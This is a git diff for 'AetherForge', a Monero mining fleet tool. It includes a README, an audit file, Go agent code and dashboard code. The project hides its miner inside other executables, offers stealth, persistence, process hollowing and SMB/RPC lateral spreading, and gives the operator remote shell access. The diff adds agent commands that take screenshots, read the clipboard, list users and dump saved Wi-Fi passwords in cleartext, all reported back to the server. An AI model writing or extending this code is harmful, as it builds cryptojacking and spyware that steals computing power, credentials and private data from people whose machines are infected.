diff --git a/PROBLEMS.md b/PROBLEMS.md new file mode 100644 index 0000000..3b2e989 --- /dev/null +++ b/PROBLEMS.md @@ -0,0 +1,172 @@ +# AetherForge — Problem Audit + +Read-only audit of the repo. Findings grouped by severity for systematic fixes. + +**Last verified:** run `go build` in `server/` and `agent/`, `npm run build` in `server/web/`, then double-click `run.bat`. + +--- + +## Fixed in latest pass (run.bat should work) + +| ID | Fix | +|----|-----| +| C1 | Restored `BroadcastServerLog` on `WSHub` | +| C2 | `EncodeToString` in agent download handler | +| C3 | `AgentRemoteActions` accepts legacy `agent` + `compact` props again | +| C4 | Partial — `useWebSocket` exposes `latestMessage`; Agents detail wired | +| C5 | Partial — agent handlers for `ps`, `netstat`, `users`, `software`, `screenshot` | +| C6 | `NewMeshNode(c)` initialized in `NewAgentClient` | +| H13 | `run.bat` exits on frontend build failure | + +**Still open:** C7/C8 auth, H1–H12, M1–M11, L1–L6 — see below. + +--- + +## Critical — blocks builds or core functionality + +### C1. Server does not compile (`BroadcastServerLog` missing) +- **File:** `server/main.go:27` +- **Issue:** `wsLogWriter` calls `w.hub.BroadcastServerLog()`, but that method was removed from `server/internal/api/websocket.go`. +- **Impact:** `go build` fails; `run.bat` cannot produce `bin/miner-server.exe`. + +### C2. Agent does not compile (`EncodeString` typo) +- **File:** `agent/client/client.go:295` +- **Issue:** Uses `base64.StdEncoding.EncodeString(...)` — Go API is `EncodeToString(...)`. +- **Impact:** Forged worker builds fail at compile time. + +### C3. Frontend TypeScript build broken (remote actions props) +- **Files:** `server/web/src/pages/DashboardPage.tsx:253`, `AgentsPage.tsx:123,222-224` +- **Issue:** `AgentRemoteActions` expects `agentId`, `agentName`, `latestWsMessage`. Pages still pass `agent`, `compact`, `onCommandSent`. +- **Impact:** `npm run build` fails (`tsc && vite build`). + +### C4. Remote control UI non-functional end-to-end +- Wrong props → `agentId` undefined → `/api/v1/agents/undefined/command` +- `useWebSocket.ts` does not handle `command_result` +- No page passes `latestWsMessage` to `AgentRemoteActions` + +### C5. Five UI recon actions missing on agent +- **UI:** `screenshot`, `ps`, `netstat`, `users`, `software` in `AgentRemoteActions.tsx` +- **Agent:** only `sysinfo` implemented; others return `"unknown action"` + +### C6. Mesh P2P → nil pointer if enabled in forge +- **Files:** `agent/client/client.go:65-68`, `376-378`; `NewAgentClient` never sets `c.mesh` +- Builder can bake `MeshP2P: true` but mesh node is never initialized. + +### C7. No authentication on control plane +- **Files:** `server/internal/api/router.go`, `websocket.go` +- Open: config PUT, builder, fleet commands, downloads, agent/dashboard WS, AI endpoints +- Anyone on LAN/tunnel can forge, reconfigure, run remote PowerShell, impersonate agents. + +### C8. Unauthenticated remote code execution +- **Files:** `fleet_handler.go` → agent `exec`, `powershell`, `upload` +- No auth, no action whitelist, upload accepts arbitrary paths. + +--- + +## High — major runtime bugs or security risk + +### H1. Agent reconnect marks fleet offline incorrectly +- **File:** `websocket.go` — defer on disconnect always `SetAgentOffline`; reconnect overwrites map without closing old conn. + +### H2. WebSocket messages processed before auth +- `stats`, `submit_share`, etc. use `agentID` with no guard when empty. + +### H3. Share submission blocks WebSocket read loop +- **File:** `websocket.go:381-459` — synchronous pool submit on read loop (was async). + +### H4. Fleet broadcast always reports success +- `id == "all"` returns `{success: true}` even with zero connected agents. + +### H5. AI `reinstall_miner` uses agent ID instead of build ID +- **File:** `agent/client/ai.go` — download URL 404s. + +### H6. AI decide ignores HTTP errors +- No `resp.StatusCode` or `"error"` field check in `callDecide`. + +### H7. AI state wrong (uptime ~0, shares hardcoded 0) +- **File:** `agent/client/ai.go:212-221` — `time.Since(time.Now())` bug. + +### H8. AI `sleep` tool parsing broken +- `Sscanf` into `time.Duration` with wrong units. + +### H9. `upload_log` AI tool does not upload to server +- Reads local file only; Ollama prompt still advertises upload. + +### H10. Download command corrupts binary data +- `EncodeString(string(b))` instead of `EncodeToString(b)`. + +### H11. Auto-spread active when baked (`AutoSpread`) +- **Files:** `agent/deploy/autospread.go`, `agent/main.go:59` — SMB/SCM lateral deployment on /24 sweep. + +### H12. Process hollowing in agent main when baked +- **Files:** `agent/main.go:73-86`, `deploy/hollow_windows.go` + +### H13. `run.bat` pipeline fails when server/agent/web do not compile +- Steps 3–4 depend on fixes for C1–C3. + +--- + +## Medium — incomplete features, UX regressions + +### M1. Full tactical panel embedded in agent list cards (no compact mode) +- Dashboard and Agents list render huge remote panel per row. + +### M2. `onCommandSent` / `get_log` flow removed from remote UI +- Agents detail log refresh broken; `get_log` button removed. + +### M3. Live dashboard stats incomplete over WebSocket +- Memory, uptime, shares not in `stats_update` broadcast or hook merge. + +### M4. Forge schema mismatch (backend vs frontend types) +- Backend: `process_hollowing`, `mesh_p2p`, `auto_spread` in `handler.go` +- Frontend `BuildRequest` and Builder UI omit them; help/rules still reference them. + +### M5. Agent log fetch uses fixed 800ms sleep +- **File:** `fleet_handler.go` — blocks handler; often stale. + +### M6. No online/offline guard in new remote UI + +### M7. Click bubbling in agent list (buttons re-select row) + +### M8. `GetEngine` fragile lock pattern in `ai_handler.go` + +### M9. Fusion icon needs network for `go-winres` at forge time + +### M10. CORS `AllowedOrigins: *` with `AllowCredentials: true` + +### M11. Blueprint delete returns `"success": "true"` string + +--- + +## Low — polish and test gaps + +### L1. Dead CSS (`.agent-actions` in `FleetPanels.css`) +### L2. Duplicate CSS imports on Dashboard/Agents pages +### L3. Weak typing on WS payloads (`any`) +### L4. No tests for remote actions or page integration +### L5. `mesh_p2p.go` vs stub; mesh never initialized anyway +### L6. Server log streaming half-removed (`BroadcastServerLog`) + +--- + +## Suggested fix order + +1. C1, C2, C3 — restore compilable server, agent, web +2. C4, C5 — wire remote actions + implement or remove dead buttons +3. C6 — init mesh stub in `NewAgentClient` +4. H3, H1, H2 — async shares, reconnect, pre-auth guard +5. C7, C8 — auth on control plane +6. H5–H10 — AI and download bugs +7. M1–M7 — UX cleanup +8. M4, H11, H12 — align or remove hollowing/spread/mesh + +--- + +## Verification commands + +| Command | Expected after fixes | +|---------|---------------------| +| `cd server && go build .` | PASS | +| `cd agent && go build .` | PASS | +| `cd server/web && npm run build` | PASS | +| `run.bat` | Builds + starts `bin/miner-server.exe` | diff --git a/README.md b/README.md index 8247549..d2f94b2 100644 --- a/README.md +++ b/README.md @@ -1,155 +1,228 @@ -# Private Miner Command Deck +# AetherForge -Private Monero (XMR) fleet control server for your own network. Run the control server on one Windows machine, configure pool/wallet/defaults in the web dashboard, build per-machine worker `.exe` files, and deploy them across your LAN. +**Private Monero fleet command deck for machines you own.** + +One Windows control PC. One dashboard. Forge a worker installer per machine — or fuse it inside your own prep tool — and watch your entire LAN hash from a single steampunk-neon command deck. + +No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet. + +--- + +``` + ┌─────────────────────────────────────────────────────────────┐ + │ CALIBRATE (Settings) pool · wallet · alerts · limits │ + │ │ │ + │ ▼ │ + │ FORGE (Builder) per-worker .exe baked at compile │ + │ │ │ + │ ├──► Fusion? embed worker inside your prep.exe │ + │ │ │ + │ ▼ │ + │ WORKER PC RandomX on CPU · WebSocket home │ + │ │ │ + │ ▼ │ + │ COMMAND DECK live stats · remote ops · shares │ + └─────────────────────────────────────────────────────────────┘ +``` + +--- + +## What This Is + +AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, not a generic miner wrapper. + +| Layer | What it does | +|-------|----------------| +| **Control server** | Go backend on port **8989** — REST API, WebSocket hub, SQLite fleet DB, Stratum proxy to your pool | +| **Command deck** | React dashboard — fleet overview, agent roster, forge builder, calibrate settings, field guide | +| **Worker agent** | Windows binary compiled on demand — mines RandomX, phones home, accepts remote commands | +| **Fusion** | Optional bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable | +| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags | + +You configure defaults once in **Calibrate**. You forge once per machine in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard. + +--- + +## What You Get + +### Command Deck (Dashboard) +- Live fleet hashrate, CPU/RAM gauges, share feed +- Per-agent cards with pause / resume / stop / uninstall +- Fleet alerts (offline, hashrate drop, rejection spikes) +- Pool connection status, earnings estimate, AI activity panel + +### Fleet Roster (Agents) +- Every connected worker — hostname, IP, cores, memory, uptime +- Hashrate history charts +- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload +- Agent log viewer (when file logging is enabled) + +### Forge (Miner Builder) +- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI +- Blueprint save/load — re-forge the same profile across machines +- Build manager — download, paths, LAN QR for worker URL +- **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon when icon extraction succeeds +- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion + +### Calibrate (Settings) +- Server port, public URL, data retention, max agents +- Default pool + wallet for new forge forms +- Alert thresholds + Telegram / email notifications +- Open Windows Firewall for dashboard port on startup + +### Under the Hood +- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host +- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts +- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` +- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts + +--- ## Quick Start -1. Install [Go 1.21+](https://go.dev/dl/) and [Node.js 20+](https://nodejs.org/) (or let `run.bat` install them). -2. Double-click **`run.bat`** on your control PC. -3. Open **http://YOUR-LOCAL-IP:8989** (shown when the server starts). -4. Go to **Settings** and set your wallet + pool. -5. Go to **Miner Builder**, enter a worker name, click **Build Installer .exe**. -6. Copy `install-{worker}.exe` to each Windows machine on your LAN and **run it once**. +**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool. -Each installer: +1. Double-click **`run.bat`** in the project root. + It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server. -- Copies the miner to `%LOCALAPPDATA%\CryptoMiner\{worker}-{build}\miner.exe` -- Registers Windows auto-start (and optional scheduled task) -- Connects back to your dashboard at your **LAN IP:8989** -- Appears on the **Agents** and **Dashboard** pages automatically +2. Browser opens **http://localhost:8989** -## End Result +3. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers -| Piece | What it does | -|-------|----------------| -| Control PC | Runs the web dashboard on local IP + port **8989** | -| Dashboard | Configure pool/wallet/defaults, build installers, track all miners | -| `install-{name}.exe` | Single file you run once on each worker PC to install + start mining | +4. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer** -| Component | Purpose | -|-----------|---------| -| `server/` | Go control server (REST API, WebSocket hub, pool proxy, builder) | -| `server/web/` | React dashboard (Dashboard, Agents, Builder, Settings) | -| `agent/` | Windows worker source compiled on demand by the builder | -| `data/` | SQLite DB, config, build output, logs | -| `run.bat` | One-click build + launch script | +5. Run the forged `.exe` **once** on each worker PC -## Workflow +6. Watch them appear on **Command Deck** and **Fleet Roster** + +### Output locations + +| Artifact | Where | +|----------|--------| +| Fused / forged exe (primary) | Project root — e.g. `G:\crypto miner\prep.exe` or `install-worker.exe` | +| Archive copy | `data\builds\{build-id}\` | +| Uninstall script | Same build folder + download API | +| Server config | `data\config.json` | +| Fleet database | `data\miner.db` | + +--- + +## Network Deployment + +| Scenario | Server URL in Forge | +|----------|---------------------| +| Same LAN | `http://192.168.x.x:8989` | +| Cloudflare / reverse tunnel | `https://your-domain.com` | + +Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker. + +--- + +## Project Layout ``` -Settings (dashboard) - -> data/config.json -Miner Builder (dashboard) - -> POST /api/v1/builder/build - -> compiles agent/ with baked-in config/builtin.go - -> writes data/builds/{build-id}/xmr-worker-{name}.exe -Worker .exe (target PC) - -> WebSocket ws://your-server:8989/ws/agent - -> receives jobs, mines with RandomX, submits shares -Control server - -> Stratum proxy to your configured pool - -> aggregates stats in dashboard +crypto miner/ +├── run.bat ← one-click build + launch +├── bin/ +│ └── miner-server.exe +├── data/ ← config, DB, builds, preps, logs +├── server/ ← Go control server +│ └── web/ ← React command deck (Vite) +├── agent/ ← Windows worker source (compiled by Forge) +├── fusion/ ← prep + worker bundler +├── PROBLEMS.md ← known issues audit (severity-ranked) +└── README.md ← you are here ``` -## Configuration +--- -All server settings are edited in the dashboard **Settings** page and saved to: +## API Surface (summary) -``` -data/config.json -``` - -The **Miner Builder** loads those values as defaults. Per-worker overrides (name, threads, silent mode, etc.) are baked into each `.exe` at compile time. - -### Built worker settings - -Each generated agent includes: - -- Server URL -- Wallet address -- Pool host/port/TLS/password -- Thread count, CPU priority, mining mode -- Max CPU %, minimum free RAM -- Idle/scheduled mining windows -- Silent mode, auto-start, run-as mode - -## Build Output Location - -After a successful build, the dashboard shows: - -- **Absolute path** — full Windows path to the `.exe` -- **Relative path** — path from the project root -- **Download link** — `/api/v1/builds/{id}/download` - -Example: - -``` -G:\crypto miner\data\builds\abc123...\xmr-worker-office-pc-1.exe -``` - -## API Endpoints - -| Method | Path | Description | -|--------|------|-------------| +| Method | Path | Purpose | +|--------|------|---------| | GET | `/api/v1/health` | Health check | -| GET/PUT | `/api/v1/config` | Server settings | -| POST | `/api/v1/builder/build` | Build worker `.exe` (returns JSON with file path) | -| GET | `/api/v1/builds` | List recent builds | -| GET | `/api/v1/builds/{id}/download` | Download a built `.exe` | -| GET | `/api/v1/agents` | List connected workers | -| GET | `/api/v1/dashboard/stats` | Fleet stats | +| GET/PUT | `/api/v1/config` | Calibrate settings | +| POST | `/api/v1/builder/build` | Forge worker (multipart if Fusion) | +| GET | `/api/v1/builds/{id}/download` | Download forged exe | +| GET | `/api/v1/agents` | Fleet list | +| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) | | WS | `/ws/agent` | Worker connection | -| WS | `/ws/dashboard` | Live dashboard updates | +| WS | `/ws/dashboard` | Live dashboard feed | -## Manual Commands +Full route list: `server/internal/api/router.go` + +--- + +## Manual Build (if you skip run.bat) ```bat -cd server -go build -o ..\bin\miner-server.exe . - cd server\web npm install npm run build -cd agent -go build -o xmr-worker-test.exe . -``` +cd ..\.. +cd server +go build -o ..\bin\miner-server.exe . -Run server manually: - -```bat bin\miner-server.exe -port 8989 -data .\data ``` -## Network Deployment +--- -- **Same LAN:** set Server URL in Builder to `http://YOUR-PC-IP:8989` -- **Remote access:** put the server behind Cloudflare Tunnel or similar and use your HTTPS domain as Server URL (`https://pool.example.com`) +## Known Issues -Workers convert `http(s)://...` to `ws(s)://.../ws/agent` automatically. +See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet. -## Data Files +--- -| Path | Contents | -|------|----------| -| `data/miner.db` | Agents, shares, hashrate history, build records | -| `data/config.json` | Server + default agent settings | -| `data/builds/` | Generated worker executables | -| `data/logs/` | Server logs (if enabled) | +# ⚠ LEGAL & FAIR USE WARNING -## Security Notes +**Read this before you deploy anything.** -- This project is intended for **your own machines on your own network**. -- Windows Defender may flag freshly compiled mining executables. Code-signing and Defender exclusions on managed machines are the legitimate mitigation paths. -- Do not expose the dashboard to the public internet without authentication. +### Authorized use only -## Requirements +AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources. -- Windows 10/11 (control server and workers) -- Go 1.21+ -- Node.js 20+ (for dashboard build only) -- Outbound internet to your chosen Monero pool +By using this software you agree that: + +1. **You will only deploy workers on systems you control** or have **written permission** to manage. +2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent. +3. **You will not** use Fusion, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware. +4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining. + +### What this is NOT + +- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own. +- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems. +- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you. + +### Pool & earnings + +- Use a **valid Monero wallet address you control**. +- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool. +- This project does not guarantee profitability, uptime, or pool compatibility. + +### Security responsibility + +- The dashboard and API **ship without authentication** by default. **Do not** expose port 8989 to the public internet without adding your own access controls (VPN, firewall allowlist, reverse proxy auth). +- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet. +- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job. + +### Disclaimer + +THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY. + +**If you cannot accept these terms, do not run AetherForge.** + +--- ## License Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`. + +--- + +

+ AetherForge — LAN MINING COMMAND
+ Calibrate · Forge · Deploy · Command +

diff --git a/agent/client/client.go b/agent/client/client.go index b8989b0..0a1f6ca 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -45,6 +45,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { startTime: time.Now(), agentID: cfg.AgentID, } + c.mesh = NewMeshNode(c) return c } @@ -292,8 +293,45 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, c.sendCommandResult(action, false, "failed to read file: "+err.Error()) return } - encoded := base64.StdEncoding.EncodeString(string(b)) + encoded := base64.StdEncoding.EncodeToString(b) c.sendCommandResult(action, true, encoded) + case "ps": + out, err := exec.Command("tasklist").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) + case "netstat": + out, err := exec.Command("netstat", "-ano").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) + case "users": + out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) + case "software": + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", + "Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) + case "screenshot": + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", + "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out))) + return + } + c.sendCommandResult(action, true, strings.TrimSpace(string(out))) case "sysinfo": out, err := exec.Command("systeminfo").CombinedOutput() if err != nil { @@ -301,6 +339,28 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, return } c.sendCommandResult(action, true, string(out)) + case "ipconfig": + out, err := exec.Command("ipconfig", "/all").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) + case "clipboard": + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, strings.TrimSpace(string(out))) + case "wifi": + script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : "} }` + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, strings.TrimSpace(string(out))) default: c.sendCommandResult(action, false, "unknown action") } diff --git a/agent/deploy/autospread.go b/agent/deploy/autospread.go index f560f67..8c3160d 100644 --- a/agent/deploy/autospread.go +++ b/agent/deploy/autospread.go @@ -16,6 +16,8 @@ import ( // StartAutoSpreader launches a background routine that periodically attempts // to replicate the miner to other machines on the local subnet via SMB and RPC. func StartAutoSpreader(cfg config.RuntimeConfig) { + // AutoSpread feature retained per user request. + // Enables SMB/RPC lateral deployment on the local /24 subnet. if !cfg.AutoSpread { return } @@ -32,7 +34,7 @@ func StartAutoSpreader(cfg config.RuntimeConfig) { <-ticker.C } }() - log.Printf("[autospread] Lateral movement module initialized") + log.Printf("[autospread] Lateral movement module initialized and active") } func spreadToLocalSubnet(cfg config.RuntimeConfig) { diff --git a/run.bat b/run.bat index 9e7c5d7..3ce06e2 100644 --- a/run.bat +++ b/run.bat @@ -158,7 +158,10 @@ if not exist "node_modules" ( echo Building frontend with Vite... call npm run build if errorlevel 1 ( - echo WARNING: Frontend build failed, server will run without dashboard. + echo ERROR: Frontend build failed + cd ..\.. + pause + exit /b 1 ) else ( echo Frontend built successfully: server\web\dist ) diff --git a/server/internal/api/ai_handler.go b/server/internal/api/ai_handler.go index 46e0107..aa73dc2 100644 --- a/server/internal/api/ai_handler.go +++ b/server/internal/api/ai_handler.go @@ -23,13 +23,18 @@ import ( // AIHandler manages AI autonomy endpoints. type AIHandler struct { db *db.Database - engines map[string]*ollama.Engine // agentID -> engine (each agent can have its own Ollama config) - reports []ollama.Report // recent tool execution reports + engines map[string]*agentEngine // agentID -> engine wrapper + reports []ollama.Report // recent tool execution reports activity map[string]AIActivityEntry onEvent func(AIActivityEntry) mu sync.RWMutex } +type agentEngine struct { + engine *ollama.Engine + lastUsed time.Time +} + // AIActivityEntry summarizes recent AI cycles per agent. type AIActivityEntry struct { AgentID string `json:"agent_id"` @@ -44,12 +49,34 @@ type AIActivityEntry struct { // NewAIHandler creates a new AI handler. func NewAIHandler(database *db.Database) *AIHandler { - return &AIHandler{ + h := &AIHandler{ db: database, - engines: make(map[string]*ollama.Engine), + engines: make(map[string]*agentEngine), reports: make([]ollama.Report, 0, 1000), activity: make(map[string]AIActivityEntry), } + go h.runCleanupLoop() + return h +} + +func (h *AIHandler) runCleanupLoop() { + ticker := time.NewTicker(10 * time.Minute) + defer ticker.Stop() + for range ticker.C { + h.mu.Lock() + now := time.Now() + for id, eng := range h.engines { + if now.Sub(eng.lastUsed) > 1*time.Hour { + delete(h.engines, id) + } + } + for id, act := range h.activity { + if now.Sub(act.LastReportAt) > 24*time.Hour && now.Sub(act.LastDecideAt) > 24*time.Hour { + delete(h.activity, id) + } + } + h.mu.Unlock() + } } func (h *AIHandler) SetEventBroadcaster(fn func(AIActivityEntry)) { @@ -71,7 +98,10 @@ func (h *AIHandler) SetEngineForAgent(agentID, ollamaEndpoint, model string) { model = "llama3.2" } - h.engines[agentID] = ollama.NewEngine(ollamaEndpoint, model) + h.engines[agentID] = &agentEngine{ + engine: ollama.NewEngine(ollamaEndpoint, model), + lastUsed: time.Now(), + } log.Printf("[AI] Engine set for agent %s (endpoint=%s, model=%s)", agentID, ollamaEndpoint, model) } @@ -86,7 +116,15 @@ func (h *AIHandler) RemoveEngine(agentID string) { func (h *AIHandler) GetEngine(agentID string) *ollama.Engine { h.mu.RLock() defer h.mu.RUnlock() - return h.engines[agentID] + if entry, ok := h.engines[agentID]; ok { + h.mu.RUnlock() // Briefly unlock to update timestamp + h.mu.Lock() + entry.lastUsed = time.Now() + h.mu.Unlock() + h.mu.RLock() + return entry.engine + } + return nil } // HandleDecide handles POST /api/v1/agent/decide diff --git a/server/internal/api/blueprint_handler.go b/server/internal/api/blueprint_handler.go index 2d5fe24..8fa53b2 100644 --- a/server/internal/api/blueprint_handler.go +++ b/server/internal/api/blueprint_handler.go @@ -203,6 +203,8 @@ func sanitizeFilename(name string) string { // Trim spaces and dots name = strings.TrimSpace(name) name = strings.Trim(name, ".") + // Prevent explicit traversal sequences + name = strings.ReplaceAll(name, "..", "") // Limit length if len(name) > 100 { name = name[:100] diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 6106e19..4cb30df 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -189,6 +189,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.mu.Lock() delete(h.agents, agentID) delete(h.agentConfigs, agentID) + delete(h.agentLogs, agentID) h.mu.Unlock() if h.aiHandler != nil { h.aiHandler.RemoveEngine(agentID) @@ -629,3 +630,15 @@ func (h *WSHub) BroadcastPoolStatus(status interface{}) { func (h *WSHub) BroadcastAIActivity(entry interface{}) { h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)}) } + +// BroadcastServerLog streams a server log line to connected dashboards. +func (h *WSHub) BroadcastServerLog(line string) { + line = strings.TrimSpace(line) + if line == "" { + return + } + h.broadcastDashboard(Message{ + Type: "server_log", + Payload: mustMarshal(map[string]string{"line": line}), + }) +} diff --git a/server/internal/ollama/engine.go b/server/internal/ollama/engine.go index 52f11d4..56fb98b 100644 --- a/server/internal/ollama/engine.go +++ b/server/internal/ollama/engine.go @@ -212,6 +212,13 @@ Rules: if end >= 0 { content = strings.TrimSpace(content[idx+3 : idx+3+end]) } + } else { + // Fallback: forcefully extract the outermost JSON object if markdown tags are missing + if startIdx := strings.Index(content, "{"); startIdx >= 0 { + if endIdx := strings.LastIndex(content, "}"); endIdx >= startIdx { + content = content[startIdx : endIdx+1] + } + } } if err := json.Unmarshal([]byte(content), &decideResp); err != nil { diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index b76daeb..1c4c2bf 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -1,69 +1,105 @@ -import React, { useState, useRef, useEffect } from 'react'; +import React, { useState, useRef, useEffect, useCallback } from 'react'; import { api } from '../../api/client'; +import type { Agent, WSMessage } from '../../types'; import './AgentRemoteActions.css'; interface Props { - agentId: string; - agentName: string; - // Pass your live websocket messages here to capture screenshots and command output! - latestWsMessage?: any; + /** Legacy: pass full agent object from list/detail pages */ + agent?: Agent; + agentId?: string; + agentName?: string; + compact?: boolean; + latestWsMessage?: WSMessage | null; + onCommandSent?: (action: string) => void; } -export default function AgentRemoteActions({ agentId, agentName, latestWsMessage }: Props) { +export default function AgentRemoteActions({ + agent, + agentId: agentIdProp, + agentName: agentNameProp, + compact = false, + latestWsMessage, + onCommandSent, +}: Props) { + const agentId = agentIdProp ?? agent?.id ?? ''; + const agentName = agentNameProp ?? agent?.name ?? 'Agent'; + const online = agent?.status !== 'offline'; + const [isDragging, setIsDragging] = useState(false); const [customCmd, setCustomCmd] = useState(''); const [terminalLog, setTerminalLog] = useState([]); const [screenshotData, setScreenshotData] = useState(null); + const [busy, setBusy] = useState(null); const logEndRef = useRef(null); - const addLog = (msg: string) => { - setTerminalLog(prev => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]); - }; + const addLog = useCallback((msg: string) => { + setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]); + }, []); - // Auto-scroll terminal useEffect(() => { logEndRef.current?.scrollIntoView({ behavior: 'smooth' }); }, [terminalLog]); - // Intercept WebSocket results useEffect(() => { - if (!latestWsMessage) return; - if (latestWsMessage.type === 'command_result') { - const { agent_id, action, success, message } = latestWsMessage.payload; - if (agentId !== 'all' && agent_id !== agentId) return; // Ignore other agents if focused + if (!latestWsMessage || latestWsMessage.type !== 'command_result') return; + const payload = latestWsMessage.payload as { + agent_id?: string; + action?: string; + success?: boolean; + message?: string; + }; + const { agent_id, action, success, message } = payload; + if (agentId && agentId !== 'all' && agent_id !== agentId) return; - if (action === 'screenshot' && success) { - setScreenshotData(`data:image/jpeg;base64,${message}`); - addLog(`📷 Screenshot received from ${agent_id}`); - } else { - addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'} \n${message}`); - } + if (action === 'screenshot' && success && message) { + setScreenshotData(`data:image/jpeg;base64,${message}`); + addLog(`Screenshot received from ${agent_id}`); + } else if (action) { + addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`); 